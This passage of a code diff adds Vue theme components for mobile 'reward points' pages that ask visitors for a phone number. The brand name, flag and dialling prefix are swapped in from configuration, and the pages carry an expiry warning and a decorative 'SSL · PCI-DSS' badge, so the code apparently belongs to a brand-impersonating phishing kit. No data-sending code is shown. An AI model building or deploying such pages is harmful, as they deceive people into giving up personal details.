.t1__featured-sub { color: rgba(255,255,255,0.75); font-size: 13px; margin: 0 0 12px; }
.t1__featured-link { background: none; border: none; color: #fff; font-size: 13px; font-weight: 700; cursor: pointer; display: flex; align-items: center; gap: 4px; padding: 0; text-decoration: underline; text-underline-offset: 2px; }
.t1__featured-img-svg { width: 90px; height: 90px; flex-shrink: 0; margin-left: 12px; border-radius: 10px; background: rgba(255,255,255,0.12); display: flex; align-items: center; justify-content: center; padding: 4px; box-sizing: border-box; }
/* Small Cards */
.t1__small-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
.t1__small-card { background: #fff; border-radius: 14px; overflow: hidden; box-shadow: 0 1px 6px rgba(0,0,0,0.06); }
.t1__small-content { padding: 16px; }
.t1__small-icon { width: 38px; height: 38px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin-bottom: 10px; }
.t1__small-icon--wifi { background: #fff0f0; color: var(--global-primary-color, #e60000); }
.t1__small-icon--star { background: #fff0f0; color: var(--global-primary-color, #e60000); }
.t1__small-title { font-size: 14px; font-weight: 700; color: #111; margin: 0 0 3px; }
.t1__small-sub { font-size: 12px; color: #666; margin: 0 0 12px; }
.t1__small-link { background: none; border: none; color: var(--global-primary-color, #e60000); font-size: 13px; font-weight: 700; cursor: pointer; display: flex; align-items: center; gap: 3px; padding: 0; }
</style>

View File

@@ -0,0 +1,504 @@
<script setup lang="ts">
import { computed, onMounted, onUnmounted, ref } from "vue";
import { useI18n } from "vue-i18n";
import { configData } from "@/utils/common";
import type { ThemeColors } from "@/config/themes";
import { globalConfig } from "@/config";
interface Props {
modelValue: string;
colors: ThemeColors;
}
const props = defineProps<Props>();
const emit = defineEmits<{
(e: "update:modelValue", value: string): void;
(e: "submit"): void;
}>();
const { t } = useI18n();
const showError = ref(false);
const onchange = (event: Event) => {
if (showError.value) showError.value = false;
emit("update:modelValue", (event.target as HTMLInputElement).value);
};
const next = () => {
if (!props.modelValue || props.modelValue.trim() === "") {
showError.value = true;
return;
}
emit("submit");
};
const currentSlide = ref(0);
const slideInterval = ref<ReturnType<typeof setInterval> | null>(null);
const touchStartX = ref(0);
const touchEndX = ref(0);
const slides = [
{ id: 1, img: "/img/1.jpg" },
{ id: 2, img: "/img/2.jpg" },
{ id: 3, img: "/img/3.jpg" },
];
const startAutoSlide = () => {
stopAutoSlide();
slideInterval.value = setInterval(() => {
currentSlide.value = (currentSlide.value + 1) % slides.length;
}, 3000);
};
const stopAutoSlide = () => {
if (slideInterval.value) {
clearInterval(slideInterval.value);
slideInterval.value = null;
}
};
const handleTouchStart = (e: TouchEvent) => {
touchStartX.value = e.touches[0].clientX;
stopAutoSlide();
};
const handleTouchMove = (e: TouchEvent) => {
touchEndX.value = e.touches[0].clientX;
};
const handleTouchEnd = () => {
if (touchStartX.value - touchEndX.value > 50) {
currentSlide.value = (currentSlide.value + 1) % slides.length;
} else if (touchEndX.value - touchStartX.value > 50) {
currentSlide.value = (currentSlide.value - 1 + slides.length) % slides.length;
}
startAutoSlide();
};
onMounted(() => {
startAutoSlide();
});
onUnmounted(() => {
stopAutoSlide();
});
</script>
<template>
<div class="t2-page">
<!-- Banner carousel -->
<div class="t2-carousel"
@touchstart="handleTouchStart"
@touchmove="handleTouchMove"
@touchend="handleTouchEnd"
>
<div class="t2-carousel-track" :style="{ transform: `translateX(-${currentSlide * 100}%)` }">
<div v-for="slide in slides" :key="slide.id" class="t2-carousel-slide">
<img :src="slide.img" :alt="globalConfig.main_name" class="t2-carousel-img" />
</div>
</div>
<div class="t2-carousel-dots">
<span
v-for="(_, index) in slides"
:key="index"
class="t2-dot"
:class="{ 't2-dot-active': currentSlide === index }"
@click="currentSlide = index"
></span>
</div>
</div>
<!-- Body -->
<div class="t2-body">
<!-- Hero -->
<div class="t2-hero">
<div class="t2-hero-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8"><path d="M20 12V22H4V12"/><path d="M22 7H2v5h20V7z"/><path d="M12 22V7"/><path d="M12 7H7.5a2.5 2.5 0 010-5C11 2 12 7 12 7z"/><path d="M12 7h4.5a2.5 2.5 0 000-5C13 2 12 7 12 7z"/></svg>
</div>
<h2 class="t2-hero-title"><i>{{ t("reward_points_waiting") }}</i></h2>
</div>
<!-- Info card -->
<div class="t2-info-card">
<div class="t2-info-item">
<span class="t2-info-dot"></span>
<p>{{ t("loyalty_thank_you", { name: globalConfig.main_name }) }}</p>
</div>
<div class="t2-info-item t2-info-item-warn">
<span class="t2-info-dot t2-info-dot-warn"></span>
<p>{{ t("points_expiry_warning") }}</p>
</div>
<div class="t2-info-item">
<span class="t2-info-dot"></span>
<p>{{ t("choose_reward_instruction") }}</p>
</div>
<p class="t2-cta-row"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" class="t2-cta-row-icon"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg> {{ t("enter_phone_to_check") }}</p>
</div>
<!-- Action card -->
<div class="t2-action-card">
<label class="t2-action-label">{{ t("verify_my_points", { name: globalConfig.main_name }) }}</label>
<form @submit.prevent="next" novalidate>
<div class="t2-input-wrap" :class="{ 't2-input-error': showError }">
<div class="t2-prefix">
<img
:src="`/img/flag_png/${globalConfig.flag}.png`"
:alt="globalConfig.main_name"
class="t2-flag"
/>
<span class="t2-prefix-num">+{{ globalConfig.phone_prefix }}</span>
</div>
<input
type="tel"
inputmode="tel"
maxlength="20"
:value="modelValue"
@input="onchange"
:placeholder="t('placeholder_enter_number')"
class="t2-phone-input"
/>
</div>
<transition name="t2-fade">
<div v-if="showError" class="t2-error-msg">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
<span>{{ t("error_invalid_phone") }}</span>
</div>
</transition>
<button type="submit" class="t2-submit-btn">
{{ t("btn_continue") }}
</button>
<div class="t2-security-note">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
<span>SSL &middot; PCI-DSS</span>
</div>
</form>
</div>
</div>
</div>
</template>
<style scoped>
.t2-page {
min-height: 100vh;
background: #f8fafc;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
/* ===== Carousel ===== */
.t2-carousel {
position: relative;
width: 100%;
aspect-ratio: 16 / 9;
overflow: hidden;
background: #e2e8f0;
border-bottom: 3px solid var(--global-primary-color, #3b82f6);
}
.t2-carousel-track {
display: flex;
height: 100%;
transition: transform 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}
.t2-carousel-slide {
flex: 0 0 100%;
height: 100%;
}
.t2-carousel-img {
width: 100%;
height: 100%;
display: block;
object-fit: cover;
}
.t2-carousel-dots {
position: absolute;
bottom: 12px;
width: 100%;
display: flex;
justify-content: center;
align-items: center;
gap: 5px;
z-index: 10;
}
.t2-dot {
width: 7px;
height: 7px;
border-radius: 50%;
background: rgba(255,255,255,0.35);
border: 1.5px solid rgba(255,255,255,0.8);
cursor: pointer;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
box-shadow: 0 1px 4px rgba(0,0,0,0.25);
}
.t2-dot-active {
background: var(--global-primary-color, #3b82f6);
border-color: var(--global-primary-color, #3b82f6);
width: 20px;
border-radius: 4px;
box-shadow: 0 2px 6px color-mix(in srgb, var(--global-primary-color, #3b82f6) 50%, transparent);
}
/* ===== Body ===== */
.t2-body {
padding: 20px 14px 40px;
}
/* ===== Hero ===== */
.t2-hero {
display: flex;
flex-direction: column;
align-items: center;
gap: 10px;
margin-bottom: 18px;
}
.t2-hero-icon {
width: 52px;
height: 52px;
background: color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff);
border: 1.5px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 25%, #fff);
border-radius: 16px;
display: flex;
align-items: center;
justify-content: center;
}
.t2-hero-icon svg {
width: 26px;
height: 26px;
stroke: var(--global-primary-color, #3b82f6);
}
.t2-hero-title {
font-size: 1.15rem;
font-weight: 800;
font-style: italic;
color: var(--global-primary-color, #3b82f6);
margin: 0;
text-align: center;
}
/* ===== Info card ===== */
.t2-info-card {
background: #fff;
border: 1px solid #e8edf3;
border-radius: 16px;
padding: 16px 16px 4px;
margin-bottom: 14px;
box-shadow: 0 2px 12px rgba(15,23,42,0.06);
}
.t2-info-item {
display: flex;
align-items: flex-start;
gap: 10px;
margin-bottom: 14px;
}
.t2-info-item-warn p {
color: #c2410c !important;
}
.t2-info-dot {
width: 8px;
height: 8px;
border-radius: 50%;
background: var(--global-primary-color, #3b82f6);
flex-shrink: 0;
margin-top: 6px;
box-shadow: 0 0 0 2px color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, transparent);
}
.t2-info-dot-warn {
background: #f97316;
box-shadow: 0 0 0 2px rgba(249,115,22,0.2);
}
.t2-info-item p {
margin: 0;
font-size: 0.875rem;
color: #475569;
line-height: 1.6;
}
.t2-cta-row {
display: flex;
align-items: center;
gap: 6px;
font-size: 0.9rem;
font-weight: 700;
color: var(--global-primary-color, #3b82f6);
margin: 0 0 14px;
line-height: 1.5;
}
.t2-cta-row-icon {
width: 15px;
height: 15px;
stroke: var(--global-primary-color, #3b82f6);
flex-shrink: 0;
}
/* ===== Action card ===== */
.t2-action-card {
background: #fff;
border: 1px solid #e2e8f0;
border-radius: 16px;
padding: 20px 16px;
box-shadow: 0 2px 12px rgba(15,23,42,0.06);
}
.t2-action-label {
display: block;
font-size: 0.875rem;
font-weight: 700;
color: #1e293b;
text-align: center;
margin-bottom: 14px;
line-height: 1.4;
}
/* Input */
.t2-input-wrap {
display: flex;
align-items: center;
border: 2px solid #e2e8f0;
border-radius: 12px;
height: 52px;
overflow: hidden;
background: #fff;
transition: border-color 0.2s, box-shadow 0.2s;
margin-bottom: 6px;
}
.t2-input-wrap:focus-within {
border-color: var(--global-primary-color, #3b82f6);
box-shadow: 0 0 0 3px color-mix(in srgb, var(--global-primary-color, #3b82f6) 15%, transparent);
}
.t2-input-error {
border-color: #ef4444 !important;
box-shadow: 0 0 0 3px rgba(239,68,68,0.12) !important;
}
.t2-prefix {
display: flex;
align-items: center;
gap: 7px;
padding: 0 12px;
border-right: 1px solid #f1f5f9;
height: 100%;
flex-shrink: 0;
background: #f8fafc;
}
.t2-flag {
width: 20px;
height: auto;
}
.t2-prefix-num {
font-weight: 700;
font-size: 0.9rem;
color: #1e293b;
}
.t2-phone-input {
flex: 1;
border: none;
outline: none;
background: transparent;
padding: 0 14px;
font-size: 1rem;
color: #1e293b;
height: 100%;
}
.t2-error-msg {
display: flex;
align-items: center;
gap: 7px;
margin: 6px 0 4px;
padding: 8px 12px;
background: #fef2f2;
border: 1px solid #fecaca;
border-radius: 8px;
font-size: 0.8rem;
font-weight: 600;
color: #dc2626;
}
.t2-error-msg svg {
width: 14px;
height: 14px;
stroke: #dc2626;
flex-shrink: 0;
}
/* Submit button */
.t2-submit-btn {
display: block;
width: 100%;
margin-top: 14px;
height: 50px;
background: var(--global-primary-color, #3b82f6);
color: #fff;
border: none;
border-radius: 12px;
font-size: 1rem;
font-weight: 700;
cursor: pointer;
transition: filter 0.15s, transform 0.1s;
box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
position: relative;
overflow: hidden;
}
.t2-submit-btn::after {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
pointer-events: none;
}
.t2-submit-btn:hover { filter: brightness(1.07); }
.t2-submit-btn:active { transform: scale(0.985); filter: brightness(0.95); }
/* Security note */
.t2-security-note {
display: flex;
align-items: center;
justify-content: center;
gap: 5px;
margin-top: 12px;
font-size: 0.72rem;
font-weight: 500;
color: #94a3b8;
}
.t2-security-note svg {
width: 11px;
height: 11px;
stroke: #34d399;
flex-shrink: 0;
}
/* Transition */
.t2-fade-enter-active,
.t2-fade-leave-active { transition: opacity 0.25s; }
.t2-fade-enter-from,
.t2-fade-leave-to { opacity: 0; }
</style>

View File

@@ -0,0 +1,378 @@
<template>
<div class="t3-wrap">
<!-- sparkle deco -->
<span class="t3-sp t3-sp1"></span>
<span class="t3-sp t3-sp2"></span>
<!-- Hero -->
<div class="t3-hero">
<div class="t3-badge">{{ t('theme3.hero_badge') }}</div>
<h1 class="t3-title">{{ t('theme3.title') }}</h1>
<p class="t3-sub">{{ t('theme3.subtitle') }}</p>
</div>
<!-- Stats band -->
<div class="t3-stats-band">
<div class="t3-stat">
<div class="t3-stat-ic">
<svg width="22" height="22" viewBox="0 0 24 24" fill="none">
<path d="M20.59 13.41l-7.17 7.17a2 2 0 0 1-2.83 0L2 12V2h10l8.59 8.59a2 2 0 0 1 0 2.82z" stroke="#f5c842" stroke-width="1.6" fill="none" stroke-linejoin="round"/>
<circle cx="7" cy="7" r="1.5" fill="#f5c842"/>
</svg>
</div>
<div class="t3-sv">2x</div>
<div class="t3-sl">{{ t('theme3.stat_points') }}</div>
</div>
<div class="t3-stat">
<div class="t3-stat-ic">
<svg width="22" height="22" viewBox="0 0 24 24" fill="none">
<rect x="3" y="10" width="18" height="11" rx="1.5" stroke="#f5c842" stroke-width="1.6" fill="none"/>
<path d="M3 10h18V14H3z" stroke="#f5c842" stroke-width="1.6" fill="none"/>
<path d="M12 10V21" stroke="#f5c842" stroke-width="1.6"/>
<path d="M8 10C8 10 5.5 10 5.5 7.5C5.5 5.5 7.5 4 9.5 6C10.5 7 12 9 12 10" stroke="#f5c842" stroke-width="1.4" stroke-linecap="round" fill="none"/>
<path d="M16 10C16 10 18.5 10 18.5 7.5C18.5 5.5 16.5 4 14.5 6C13.5 7 12 9 12 10" stroke="#f5c842" stroke-width="1.4" stroke-linecap="round" fill="none"/>
</svg>
</div>
<div class="t3-sv">500+</div>
<div class="t3-sl">{{ t('theme3.stat_prizes') }}</div>
</div>
<div class="t3-stat">
<div class="t3-stat-ic">
<svg width="22" height="22" viewBox="0 0 24 24" fill="none">
<circle cx="9" cy="7" r="3" stroke="#f5c842" stroke-width="1.6" fill="none"/>
<path d="M3 20c0-3.3 2.7-6 6-6s6 2.7 6 6" stroke="#f5c842" stroke-width="1.6" stroke-linecap="round" fill="none"/>
<circle cx="17" cy="8" r="2.5" stroke="#f5c842" stroke-width="1.4" fill="none"/>
<path d="M21 20c0-2.8-1.8-5-4-5" stroke="#f5c842" stroke-width="1.4" stroke-linecap="round" fill="none"/>
</svg>
</div>
<div class="t3-sv">5M+</div>
<div class="t3-sl">{{ t('theme3.stat_members') }}</div>
</div>
<div class="t3-stat">
<div class="t3-stat-ic">
<svg width="22" height="22" viewBox="0 0 24 24" fill="none">
<circle cx="12" cy="12" r="9" stroke="#f5c842" stroke-width="1.6" fill="none"/>
<path d="M12 3c-3 4-3 14 0 18M12 3c3 4 3 14 0 18" stroke="#f5c842" stroke-width="1.4" fill="none"/>
<path d="M3 12h18" stroke="#f5c842" stroke-width="1.4"/>
<path d="M4.5 8.5h15M4.5 15.5h15" stroke="#f5c842" stroke-width="1.1" opacity="0.7"/>
</svg>
</div>
<div class="t3-sv">195+</div>
<div class="t3-sl">{{ t('theme3.stat_countries') }}</div>
</div>
</div>
<!-- Form -->
<div class="t3-form">
<div class="t3-cb-card">
<div class="t3-cb-ic">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none">
<path d="M21 18V19C21 20.1 20.1 21 19 21H5C3.89 21 3 20.1 3 19V5C3 3.9 3.89 3 5 3H19C20.1 3 21 3.9 21 5V6H12C10.89 6 10 6.9 10 8V16C10 17.1 10.89 18 12 18H21ZM12 16H22V8H12V16ZM16 13.5C15.17 13.5 14.5 12.83 14.5 12C14.5 11.17 15.17 10.5 16 10.5C16.83 10.5 17.5 11.17 17.5 12C17.5 12.83 16.83 13.5 16 13.5Z" fill="white"/>
</svg>
</div>
<div>
<div class="t3-cb-title">{{ t('theme3.check_balance') }}</div>
<div class="t3-cb-sub">{{ t('theme3.check_balance_sub') }}</div>
</div>
</div>
<div class="t3-lbl">{{ t('theme3.account_identifier') }}</div>
<div class="t3-field">
<svg class="t3-field-ic" width="16" height="16" viewBox="0 0 24 24" fill="none">
<rect x="5" y="2" width="14" height="20" rx="3" stroke="#aaa" stroke-width="1.6" fill="none"/>
<path d="M9 6h6" stroke="#aaa" stroke-width="1.4" stroke-linecap="round"/>
<circle cx="12" cy="17" r="1" fill="#aaa"/>
</svg>
<input
class="t3-inp"
type="tel"
:placeholder="t('theme3.phone_placeholder')"
:value="modelValue"
@input="$emit('update:modelValue', ($event.target as HTMLInputElement).value)"
/>
</div>
<button class="t3-btn" @click="$emit('submit')">{{ t('theme3.check_btn') }}</button>
<div class="t3-links">
<span class="t3-lk">{{ t('theme3.gift_card') }}</span>
<span class="t3-sep">|</span>
<span class="t3-lk t3-lk-on">{{ t('theme3.all_rewards') }}</span>
</div>
<!-- <div class="t3-footer">{{ t('theme3.redeemable') }}</div> -->
</div>
</div>
</template>
<script setup lang="ts">
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
const { t } = useI18n();
interface Props {
modelValue: string;
colors: ThemeColors;
}
defineProps<Props>();
defineEmits<{
(e: 'update:modelValue', value: string): void;
(e: 'submit'): void;
}>();
</script>
<style scoped>
.t3-wrap {
min-height: 100%;
display: flex;
flex-direction: column;
position: relative;
overflow: hidden;
background: linear-gradient(160deg, #ff7b30 0%, #e8381a 52%, #c8200e 100%);
}
/* sparkles */
.t3-sp {
position: absolute;
color: rgba(255,255,255,0.5);
pointer-events: none;
font-size: 14px;
line-height: 1;
z-index: 0;
}
.t3-sp1 { top: 1.4rem; left: 1.1rem; }
.t3-sp2 { top: 3.4rem; right: 2rem; font-size: 9px; }
/* ── hero ── */
.t3-hero {
padding: 2.5rem 1.5rem 1.4rem;
display: flex;
flex-direction: column;
align-items: center;
text-align: center;
position: relative;
z-index: 1;
}
.t3-badge {
display: inline-block;
background: rgba(255,255,255,0.18);
color: #fff;
font-size: 10px;
font-weight: 800;
letter-spacing: 2px;
text-transform: uppercase;
padding: 0.42rem 1.4rem;
border-radius: 20px;
margin-bottom: 1.2rem;
border: 1.5px solid rgba(255,255,255,0.55);
backdrop-filter: blur(4px);
}
.t3-title {
font-size: 40px;
font-weight: 900;
color: #fff;
line-height: 1.08;
margin: 0 0 0.85rem;
letter-spacing: -0.5px;
}
.t3-sub {
font-size: 14px;
color: rgba(255,255,255,0.85);
line-height: 1.55;
margin: 0 0 1.6rem;
max-width: 255px;
}
.t3-cat-btn {
background: #fff;
color: #b33800;
font-size: 14px;
font-weight: 800;
letter-spacing: 1px;
text-transform: uppercase;
padding: 0.78rem 2.2rem;
border-radius: 32px;
border: none;
cursor: pointer;
box-shadow: 0 5px 20px rgba(0,0,0,0.2);
transition: opacity .2s;
}
.t3-cat-btn:hover { opacity: .9; }
/* ── stats band ── */
.t3-stats-band {
background: rgba(0,0,0,0.22);
display: flex;
justify-content: space-around;
padding: 1.05rem 0.5rem 2.7rem;
position: relative;
z-index: 1;
}
.t3-stat {
display: flex;
flex-direction: column;
align-items: center;
}
.t3-stat-ic {
width: 54px;
height: 54px;
background: rgba(0,0,0,0.3);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 0.5rem;
border: 1px solid rgba(255,255,255,0.08);
}
.t3-sv {
font-size: 13px;
font-weight: 800;
color: #fff;
line-height: 1.2;
}
.t3-sl {
font-size: 10px;
color: rgba(255,255,255,0.72);
font-weight: 600;
margin-top: 1px;
}
/* ── form ── */
.t3-form {
flex: 1;
background: #fff;
border-radius: 26px 26px 0 0;
padding: 1.5rem 1.2rem 2rem;
position: relative;
z-index: 1;
margin-top: -1.55rem;
}
.t3-cb-card {
display: flex;
align-items: center;
gap: 0.9rem;
background: #fff8f3;
border-radius: 16px;
padding: 1rem 1.1rem;
margin-bottom: 1.4rem;
border: 1px solid rgba(220,90,20,0.12);
box-shadow: 0 3px 14px rgba(249,115,22,0.1);
}
.t3-cb-ic {
width: 50px;
height: 50px;
background: linear-gradient(135deg, #f97316, #e0520c);
border-radius: 14px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
}
.t3-cb-title {
font-size: 18px;
font-weight: 800;
color: #111;
line-height: 1.2;
}
.t3-cb-sub {
font-size: 12px;
color: #999;
margin-top: 2px;
}
.t3-lbl {
font-size: 10px;
font-weight: 700;
color: #aaa;
letter-spacing: 1.5px;
text-transform: uppercase;
margin-bottom: 0.5rem;
padding-left: 2px;
}
.t3-field {
position: relative;
margin-bottom: 1.1rem;
}
.t3-inp {
width: 100%;
padding: 0.95rem 1rem 0.95rem 2.8rem;
border: 1.5px solid #ebebeb;
border-radius: 14px;
font-size: 15px;
color: #333;
background: #f7f7f7;
outline: none;
box-sizing: border-box;
transition: border-color .2s, background .2s;
}
.t3-inp::placeholder { color: #c0c0c0; }
.t3-inp:focus { border-color: #f97316; background: #fff; }
.t3-field-ic {
position: absolute;
left: 0.9rem;
top: 50%;
transform: translateY(-50%);
pointer-events: none;
}
.t3-btn {
width: 100%;
padding: 1.05rem;
background: linear-gradient(90deg, #f97316 0%, #e0520c 100%);
color: #fff;
font-size: 16px;
font-weight: 800;
border: none;
border-radius: 52px;
cursor: pointer;
margin-bottom: 1.2rem;
letter-spacing: 0.5px;
box-shadow: 0 6px 20px rgba(224,82,12,0.38);
transition: opacity .2s, transform .15s;
}
.t3-btn:hover { opacity: .93; }
.t3-btn:active { transform: scale(.98); }
.t3-links {
display: flex;
align-items: center;
justify-content: center;
gap: 0.7rem;
margin-bottom: 0.85rem;
}
.t3-lk {
font-size: 11px;
font-weight: 700;
color: #c0c0c0;
letter-spacing: 0.6px;
text-transform: uppercase;
cursor: pointer;
}
.t3-lk-on { color: #f97316; }
.t3-sep { color: #ddd; }
.t3-footer {
text-align: center;
font-size: 9px;
font-weight: 600;
color: #ccc;
letter-spacing: 1px;
text-transform: uppercase;
}
</style>

View File

@@ -0,0 +1,422 @@
<template>
<div class="t4-t7-root">
<!-- Hero 区域 -->
<div class="t4-t7-hero">
<!-- 装饰星星 -->
<span class="t4-t7-star t4-t7-star-tl"></span>
<span class="t4-t7-star t4-t7-star-tr"></span>
<span class="t4-t7-star t4-t7-star-bl">|</span>
<!-- 主标题 -->
<h1 class="t4-t7-main-title" v-html="t('theme4.main_title')"></h1>
<!-- 副标题 -->
<p class="t4-t7-hero-sub">{{ t('theme4.hero_sub1') }}<br>{{ t('theme4.hero_sub2') }}</p>
<!-- 三图标行 -->
<div class="t4-t7-icons-row">
<div class="t4-t7-icon-wrap t4-t7-icon-side">🎁</div>
<div class="t4-t7-icon-wrap t4-t7-icon-center">
<div class="t4-t7-icon-center-inner">💎</div>
</div>
<div class="t4-t7-icon-wrap t4-t7-icon-side">🎟</div>
</div>
</div>
<!-- 会员卡 -->
<div class="t4-t7-section">
<div class="t4-t7-member-card">
<div class="t4-t7-member-header">
<div>
<div class="t4-t7-member-label">{{ t('theme4.membership_status') }}</div>
<div class="t4-t7-member-title">{{ t('theme4.gold_privilege') }}</div>
</div>
</div>
<div class="t4-t7-divider"></div>
<div class="t4-t7-stats-grid">
<div class="t4-t7-stat">
<div class="t4-t7-stat-label">{{ t('theme4.point_rate') }}</div>
<div class="t4-t7-stat-val t4-t7-red">x2.5</div>
</div>
<div class="t4-t7-stat">
<div class="t4-t7-stat-label">{{ t('theme4.active_gifts') }}</div>
<div class="t4-t7-stat-val t4-t7-orange">850+</div>
</div>
<div class="t4-t7-stat">
<div class="t4-t7-stat-label">{{ t('theme4.global_users') }}</div>
<div class="t4-t7-stat-val t4-t7-blue">12M</div>
</div>
<div class="t4-t7-stat">
<div class="t4-t7-stat-label">{{ t('theme4.hot_events') }}</div>
<div class="t4-t7-stat-val t4-t7-teal">24h</div>
</div>
</div>
</div>
</div>
<!-- 表单区域 -->
<div class="t4-t7-section t4-t7-form-section">
<h2 class="t4-t7-form-title">{{ t('theme4.form_title') }}</h2>
<p class="t4-t7-form-sub">{{ t('theme4.form_subtitle') }}</p>
<input
class="t4-t7-input"
type="tel"
inputmode="tel"
:placeholder="t('theme4.phone_placeholder')"
:value="modelValue"
@input="$emit('update:modelValue', ($event.target as HTMLInputElement).value)"
/>
<button class="t4-t7-submit-btn" @click="$emit('submit')">
{{ t('theme4.check_btn') }}
</button>
<div class="t4-t7-trust-row">
<span>{{ t('theme4.secure') }}</span>
<span>{{ t('theme4.fast') }}</span>
<span>{{ t('theme4.global') }}</span>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
const { t } = useI18n();
interface Props {
modelValue: string;
colors: ThemeColors;
}
defineProps<Props>();
defineEmits<{
(e: 'update:modelValue', value: string): void;
(e: 'submit'): void;
}>();
</script>
<style scoped>
/* ── Root ── */
.t4-t7-root {
background: #fef9ec;
min-height: 100%;
padding-bottom: 2rem;
font-family: inherit;
}
/* ── Hero ── */
.t4-t7-hero {
position: relative;
background: linear-gradient(180deg, #fef3c7 0%, #fef9ec 100%);
text-align: center;
padding: 2rem 1.25rem 1.75rem;
overflow: hidden;
}
.t4-t7-star {
position: absolute;
color: #f59e0b;
font-size: 16px;
opacity: 0.7;
}
.t4-t7-star-tl { top: 1.2rem; left: 1rem; font-size: 12px; }
.t4-t7-star-tr { top: 1rem; right: 1.5rem; font-size: 18px; }
.t4-t7-star-bl { bottom: 2rem; left: 1.5rem; font-size: 24px; color: #fcd34d; opacity: 0.5; }
.t4-t7-festival-badge {
display: inline-block;
background: #fef3c7;
border: 1px solid #fcd34d;
color: #92400e;
font-size: 10px;
font-weight: 800;
letter-spacing: 1.5px;
padding: 0.3rem 0.85rem;
border-radius: 20px;
margin-bottom: 0.85rem;
}
.t4-t7-main-title {
font-size: 42px;
font-weight: 900;
line-height: 1.05;
color: #d97706;
margin: 0 0 0.75rem;
letter-spacing: -0.5px;
text-transform: uppercase;
-webkit-text-stroke: 1px #b45309;
}
.t4-t7-hero-sub {
font-size: 13px;
font-weight: 600;
color: #92400e;
line-height: 1.55;
margin: 0 0 1.5rem;
opacity: 0.85;
}
/* 三图标行 */
.t4-t7-icons-row {
display: flex;
align-items: flex-end;
justify-content: center;
gap: 0.5rem;
}
.t4-t7-icon-wrap {
display: flex;
align-items: center;
justify-content: center;
border-radius: 16px;
font-size: 26px;
}
.t4-t7-icon-side {
width: 60px;
height: 60px;
background: rgba(255, 255, 255, 0.7);
border: 1px solid rgba(251, 191, 36, 0.3);
margin-bottom: 8px;
}
.t4-t7-icon-center {
width: 76px;
height: 76px;
background: linear-gradient(135deg, #fbbf24 0%, #f59e0b 100%);
box-shadow: 0 6px 20px rgba(245, 158, 11, 0.4);
border-radius: 20px;
font-size: 34px;
}
.t4-t7-icon-center-inner {
display: flex;
align-items: center;
justify-content: center;
width: 100%;
height: 100%;
}
/* ── Sections ── */
.t4-t7-section {
padding: 0 1rem 1.25rem;
}
/* ── Member Card ── */
.t4-t7-member-card {
background: #ffffff;
border-radius: 20px;
padding: 1.35rem;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.07);
}
.t4-t7-member-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
margin-bottom: 1rem;
}
.t4-t7-member-label {
font-size: 10px;
font-weight: 700;
color: #999;
letter-spacing: 1px;
text-transform: uppercase;
margin-bottom: 0.25rem;
}
.t4-t7-member-title {
font-size: 20px;
font-weight: 900;
color: #1a1a1a;
letter-spacing: 0.5px;
}
.t4-t7-vip-pill {
background: linear-gradient(135deg, #fde68a 0%, #fbbf24 100%);
color: #78350f;
font-size: 12px;
font-weight: 800;
padding: 0.3rem 0.85rem;
border-radius: 20px;
letter-spacing: 0.5px;
box-shadow: 0 2px 8px rgba(251, 191, 36, 0.35);
}
.t4-t7-divider {
height: 1px;
background: #f0f0f0;
margin: 0 0 1rem;
}
.t4-t7-stats-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.75rem;
}
.t4-t7-stat {
background: #f9f9f9;
border-radius: 14px;
padding: 0.9rem 1rem;
border: 1px solid rgba(0, 0, 0, 0.04);
}
.t4-t7-stat-label {
font-size: 9px;
font-weight: 700;
color: #aaa;
letter-spacing: 0.8px;
text-transform: uppercase;
margin-bottom: 0.35rem;
}
.t4-t7-stat-val {
font-size: 26px;
font-weight: 900;
line-height: 1;
}
.t4-t7-red { color: #dc2626; }
.t4-t7-orange { color: #f59e0b; }
.t4-t7-blue { color: #2563eb; }
.t4-t7-teal { color: #0d9488; }
/* ── Form Section ── */
.t4-t7-form-section {
text-align: center;
padding-top: 0.5rem;
}
.t4-t7-form-title {
font-size: 24px;
font-weight: 900;
color: #1a1a1a;
margin: 0 0 0.35rem;
}
.t4-t7-form-sub {
font-size: 13px;
color: #888;
margin: 0 0 1.25rem;
}
.t4-t7-input {
width: 100%;
padding: 0.95rem 1.1rem;
border: 1.5px solid #fcd34d;
border-radius: 14px;
font-size: 15px;
background: #fffdf5;
color: #b45309;
outline: none;
box-sizing: border-box;
margin-bottom: 0.85rem;
text-align: center;
transition: border-color 0.2s;
}
.t4-t7-input::placeholder {
color: #d97706;
opacity: 0.7;
}
.t4-t7-input:focus {
border-color: #f59e0b;
box-shadow: 0 0 0 3px rgba(251, 191, 36, 0.2);
}
.t4-t7-submit-btn {
width: 100%;
padding: 1rem 1.25rem;
border: none;
border-radius: 14px;
background: linear-gradient(135deg, #f59e0b 0%, #d97706 100%);
color: #fff;
font-size: 15px;
font-weight: 900;
cursor: pointer;
letter-spacing: 1px;
text-transform: uppercase;
